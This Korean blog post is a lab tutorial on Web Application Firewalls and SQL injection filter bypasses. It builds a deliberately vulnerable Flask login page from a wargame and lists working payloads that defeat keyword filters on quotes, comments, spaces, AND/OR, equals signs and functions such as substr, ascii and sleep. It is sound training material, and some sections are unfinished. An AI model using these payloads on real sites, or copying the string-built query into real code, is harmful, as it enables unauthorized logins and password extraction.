프롤로그
SQL Injection의 마지막 시간
WAF란?
Web Application Firewall의 약자로 한국말로는 웹 방화벽이라고 한다.
웹 애플리케이션을 공격으로부터 보호하기 위한 보안시스템으로, 웹 애플리케이션 레벨에서 발생하는 공격 트래픽을 필터링, 모니터링, 차단하여 웹 애플리케이션을 보호하는 것이다.
정리하면 사용자의 input을 제한하기에 필터링이라고 한다.
그래서 SQL Injection에서 악성 SQl 쿼리를 탐지 및 차단하고, Cross-Site Scripting(XSS) 공격을 방어하기 위해 악의적인 JavaScript 삽입을 차단하는 등으로 WAF을 사용한다.
WAF의 작동 방식
WAF는 HTTP/HTTPS 요청을 분석하여, 요청이 정상적인지 또는 악의적인지를 판단한다.
1. 패턴 매칭
DB에 저장되어 있는 값과 같은 문자열이나 화이트리스트에 없는 값이 전달되었을 때 Request를 drop시켜 서버에 해당 값이 사용될 수 없도록 작동한다.
또는 공격으로 알려진 서명(Signature)과 같은 요청 패턴을 비교한다. 그래서 만약에 사용자의 입력에 SELECT * FROM 과 같은 SQL 키워드가 포함된 요청은 차단한다.
2. 행동 분석
정상 요청과 악의적인 요청 간의 차이를 학습하여 비 정상적인 트래픽을 차단한다.
3. 실시간 필터링
HTTP 헤더, URL, 요청 본문 데이터를 분석해 악성 트래픽을 차단한다.
SQLi WAF bypass
SQL Injection을 위한 여러 가지 우회 기법들이 존재한다.
이 과정을 실습하기 위해서
드림핵
https://dreamhack.io/wargame/challenges/415
여기 코드를 실습하기 쉬운 환경으로 좀 바꿔서 사용하였다.
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = 'localhost'
app.config['MYSQL_USER'] = 'root'
app.config['MYSQL_PASSWORD'] = '11111111'
app.config['MYSQL_DB'] = 'users'
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}' and upw='{upw}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
<input type='text' name='uid' placeholder='uid'>
<input type = "text" name='upw' placeholder="upw">
<input type='submit' value='submit'>
</form>
'''
# keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
keywords = []
def check_WAF(data):
for keyword in keywords:
if keyword in data:
return True
return False
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
upw = request.args.get('upw')
if uid:
if check_WAF(uid):
return 'your request has been blocked by WAF.'
if check_WAF(upw):
return 'your request has been blocked by WAF.'
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}' and upw='{upw}';")
print(f"{uid}, {upw} 가 잘 들어감")
result = cur.fetchone()
print(result)
if result:
return template.format(uid=uid, upw=upw, result=result[1])
else:
return template.format(uid=uid, upw=upw, result='No matching user found.')
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
이 코드를 사용하였다.
Quote Filtering Bypass
따옴표에 대해서 필터링을 진행했을 경우에 사용한다.
keywords = ['"', "'"]
def check_WAF(data):
for keyword in keywords:
if keyword in data:
return True
return False
이렇게 필터링이, "과 '이 들어가있을 경우 제한하는 코드가 있을 때
id와 비밀번호에 각각
admin' -- 1 #아이디
123 #비밀번호
을 입력하고 실행하게 되면
필터링에 걸린다. 이럴 경우에
\ (백슬래쉬) 이용한다.
id와 비밀번호에 각각
\ #아이디
OR 1=1 limit 1, 1 -- 1 #비밀번호
을 입력해보자.
입력을 하고 제출을 하게 되면
admin으로 로그인을 성공한 것을 확인할 수 있다.
성공할 수 있었던 이유는 쿼리문이이와 같이 된다.
SELECT * FROM user WHERE username = ‘\’ AND password=‘OR 1=1 limit 1, 1 -- 1’
백슬래시를 사용하게 되면 뒤에있는 '가 쿼리 구문이 아닌 문자열 자체로 사용되게 된다.
그래서 쿼리문이 이렇게 완성되게 되는데, 이는 아이디가 'AND password= 인 사람 또는 비밀번호가 참인 경우인 사람을 찾기 때문에, 원하는 유저로 로그인을 할 수 있게 되는 것이다.
Hyphen bypass
주석으로 --을 쓰게 되는데, --을 금지했을 경우에 우회하기 위한 기법이다.
SQL의 주석을 살펴보자면
--
/* */
# (MySQL)
이렇게 3가지가 있다.
그러니까 --가 막혔다면 /* */을 이용하거나 #을 이용하면 되는 것이다.
keywords = ["--", "-"]
def check_WAF(data):
for keyword in keywords:
if keyword in data:
return True
return False
이렇게 필터링으로 주석을 막았다고 가정했을 때
admin' -- 1
123
을 입력하고
실행하게 되면
걸렸다.
admin'#
123
을 입력하여
admin으로 로그인을 성공할 수 있다.
White space bypass
공백을 사용하지 못하게 필터링을 했을 경우이다.
당장만 해도
admin' -- 1
이런 거 입력할 때, 공백 없으면 -- 이거 주석으로 처리도 안 된다.
keywords = [" "]
def check_WAF(data):
for keyword in keywords:
if keyword in data:
return True
return False
이렇게 키워드에 공백을 입력했을 경우에
admin' -- 1
123
바로 걸려버린다.
저 공백을 대체할 값을 찾아야하는데, 여러가지가 있다.
(1) /**/을 이용하기
아까 위에서 /**/은 주석에서 사용된다고 하는데, SQL문에서 저건 공백으로 자동으로 처리가 된다.
아이디, 비밀번호에다가
'/**/OR/**/1=1/**/limit/**/1,1#
123
을 입력해보자.
admin을 가져온 것을 확인할 수 있다.
(2) /t를 이용하기
(3) 0x20, 0x09 이용하기
이거 위에 두개는 지금 실습을 진행하는데 해결을 못하고 있어서 일단 넘어가겠다;;
되는 대로 수정 예정
And, or bypass
쿼리문에 and, or을 입력하지 못하게 필터링 했을 때 우회할 수 있는 방법으로
연산자를 사용하는 방식이 있다.
and의 경우 &&로 대체할 수 있고, or의 경우에는 ||로 대체할 수 있다.
keywords = ['and', 'or', 'AND', 'OR']
def check_WAF(data):
for keyword in keywords:
if keyword in data:
return True
return False
이렇게 필터링이 걸려있는 상태에서
' OR 1=1 limit 1,1 -- 1
123
을 입력하게 된다면
바로 걸려버린다.
' || 1=1 limit 1, 1 -- 1
123
으로 OR을 ||로 바꾼 후에 입력한다면
and, or bypass 할 수 있다.
Equal Filtering Bypass
= 기호를 필터링 할 때 우회하는 방법을 찾아야한다.
keywords = ["="]
def check_WAF(data):
for keyword in keywords:
if keyword in data:
return True
return False
이렇게 필터링 되어있을 경우인데,
' OR 1=1 limit 1, 1 -- 1
123
을 입력한다면
걸려버렸다.
(1) <, > 사용하기
' OR 1<2 limit 1, 1 -- 1
로 참이 되는 조건을 바꾸는 것이다.
나중에 비밀번호 같은 것을 찾을 때에도,
admin' and length(password) = 12 -- 1
이렇게 사용하던 걸
admin' and length(password) < 13 -- 1
이런식으로 바꿔서 사용할 수도 있다.
실행해보면 정상적으로 우회한 것을 확인할 수 있다.
(2) in 사용하기
\
OR uid in ("admin") -- 1
이렇게 입력했을 경우, in 이 = 와 같은 역할을 진행할 수가 있다.
=을 사용하지 않고, in으로 admin에 로그인하였다.
(3) LIKE 사용하기
Like 라는 애를 이용할건데, 이 친구는 와일드 카드(%, _)이런 애들로 조건을 만들고, 그 조건에 맞는 애들을 가져오게할 수 있다.
%admin 이 적혀있다면 helloadmin, hadmin등 앞에 어떤문자가와도 admin이 있으면 상관없는 거고
admin%가 있다면 adminhello, adminh 등 뒤에 어떤값이 있어도 admin 이 포함되어있으면 가져온다
%admin%은 앞뒤로 어떤 게 있어도 중간에 admin만 있으면 상관이 없다.
_의 경우에는 ad_in 이 있다면 adain, adbin, admin, adpin 등의 값이 있는 것들을 가져온다
저런 와일드카드가 없다면 그냥 admin 인 애를 가져오라는 의미기 때문에 결국엔 = 와 같은 역할을 할 수 있다.
\
OR uid LIKE "admin" -- 1
을 입력한다면
바로 admin을 가져오는 것을 확인하였다.
Function filtering Bypass
함수 자체를 막아버리는 경우가 있다
비밀번호를 하나하나씩 알아내기 위해서
저번에
ascii(substr(password, 1, 1) = 1 and sleep(5) -- 1
이런식으로 사용했었는데, 저기서
ascii, substr, sleep 을 싹다 막아버렸다고 가정을 해보자.
저 함수들을 대체할만한 함수를 찾아내야한다.
1. substr 필터링
keywords = ["substr"]
def check_WAF(data):
for keyword in keywords:
if keyword in data:
return True
return False
substr 함수는 문자열의 일부를 추출하는 것이다. 문자열을 특정 위치부터 원하는 길이만큼 잘라서 반환하는 역할이 있는데, 이가 막힌다면 다른 방법을 찾아야한다.
문자열의 일부를 가져오는 함수로 left, right, mid가 있다.
기존에 쓰던
admin' and ascii(substr(password, 1, 1)) = 75 -- 1
이걸 left로 변경하면
admin' and ascii(left(password, 1)) = 75 -- 1
이렇게 되고
실행되는지 확인하면
로그인에 성공하는 것을 알 수 있다.
문제는...
left(password, 2)
를 하면 두 글자를 가져온다는 것인데, 그래서 한 글자씩 비교하기가 힘들어진다.
right도 마찬가지이다.
그래서 좋은 것은 mid이다
admin' and ascii(mid(password, 1, 1)) = 75 -- 1
admin' and ascii(mid(password, 2, 1)) = 48 -- 1
이렇게
substr을 대체하기에 mid도 된다.
추가적으로 substring라는 함수도 있는데,
admin' and ascii(substring(password, 2, 1)) =48 -- 1
admin' and ascii(substring(password, 1, 1)) =75 -- 1
이렇게 활용할 수 있다.
결론적으로는
mid, substr, substring 이렇게 3개 서로 바꿔가면서 쓸 수 있다이다.
2. ascii 필터링
다음은, ascii를 필터링 한다면?
ascii 의 기능은 문자의 ascii 코드 값을 반환하는 함수이다.
그렇기에 문자를 반환하는 함수들로 대체가 가능한데, ORD가 있다. 반대로 비밀번호를 ascii가 아닌 hex값으로 16진수로 바꾼 후에 비교하는 방법도 있다.
ORD같은 경우에는, 첫번째 문자의 ASCII값을 반환하는 문자인데, 아까 위의
admin' and ord(substr(password, 1, 1)) = 75 -- 1
admin' and ord(substr(password, 2, 1)) = 48 -- 1
이런식으로 사용이 가능하다.
문자 길이에서 2번째 것 하나만 들고와서 그 하나의 문자만 ord로 아스키값을 반환했기 때문에 가능한 것이다.
반대로 이번엔 HEX로 헥사값을 들고와보자.
admin' AND HEX(substr(password, 2, 1)) = '30' -- 1
admin' AND HEX(substr(password, 1, 1)) = '4B' -- 1
이렇게 16진수값으로 비교할 수도 있다.
솔직히 그냥 그딴 거 없이 상남자식으로
admin' AND substr(password, 1, 1) = 'K' -- 1
이런식으로 하는 방법도 있긴 있다.
3. sleep 필터링
Time based on Blind SQL Injection을 막기 위해서 sleep을 막아버렸을 경우이다.
sleep의 경우에는 해당 프로세스를 잠시동안 재우는 느낌이라면,
benchmark같은 경우는 지정된 작업을 반복 실행하여 시간 지연을 유발하는 함수이다.
BENCHMARK(loop_count, expression)
이렇게 사용하는데,
admin' AND ascii(substr(password, 1, 1)) = 75 AND sleep(5) -- 1
이거를 대체한다고 하면
admin' AND ascii(substr(password, 1, 1)) = 75 AND BENCHMARK(50000000, MD5('test')) -- 1
이렇게 바꿔서 할 수가 있다.
근데 확실히 시간이 좀 짧다. 값을 더 크게 바꾼다면 해결이 될 것이다.
아니면 아예 서버에 부하를 시키도록 하는
POW연산을 사용한다거나, REPEAT 함수를 이용할 수도 있다.
가장 큰 건 BENCHMARK
에필로그
역대급으로 제일 오래걸리면서 시간 쓴 거 같다.
특히 White Space 저기 부분ㅇ;;;
저기서 4시간 한 거 같은데;;;자꾸 안 되어가지고...물론 지금은 포기한 상태다...
집가서 마저 해봐야할 거 같은데
일단은 9시간정도 한 거 같다.
추가적으로 admin자체를 막아버린다거나, 문자열 일부를 막아버리는 경우의 우회방법은 다른 글에서 작성하겠다.
'KnockOn' 카테고리의 다른 글
[KnockOn] 3.2 SQLi_WAF_2 Write-Up (0) | 2024.12.31 |
---|---|
[KnockOn] 3.1 SQLi_WAF_1 Write-Up (0) | 2024.12.31 |
[KnockOn] 2.1 What time is it? Write-Up (0) | 2024.12.29 |
[KnockOn] 2. Blind SQL Injecion Write-Up (0) | 2024.12.29 |
[KnockOn] Blind SQL Injection의 개념과 Boolean based와 Time based, 파이썬 requests 모듈 (3) | 2024.12.27 |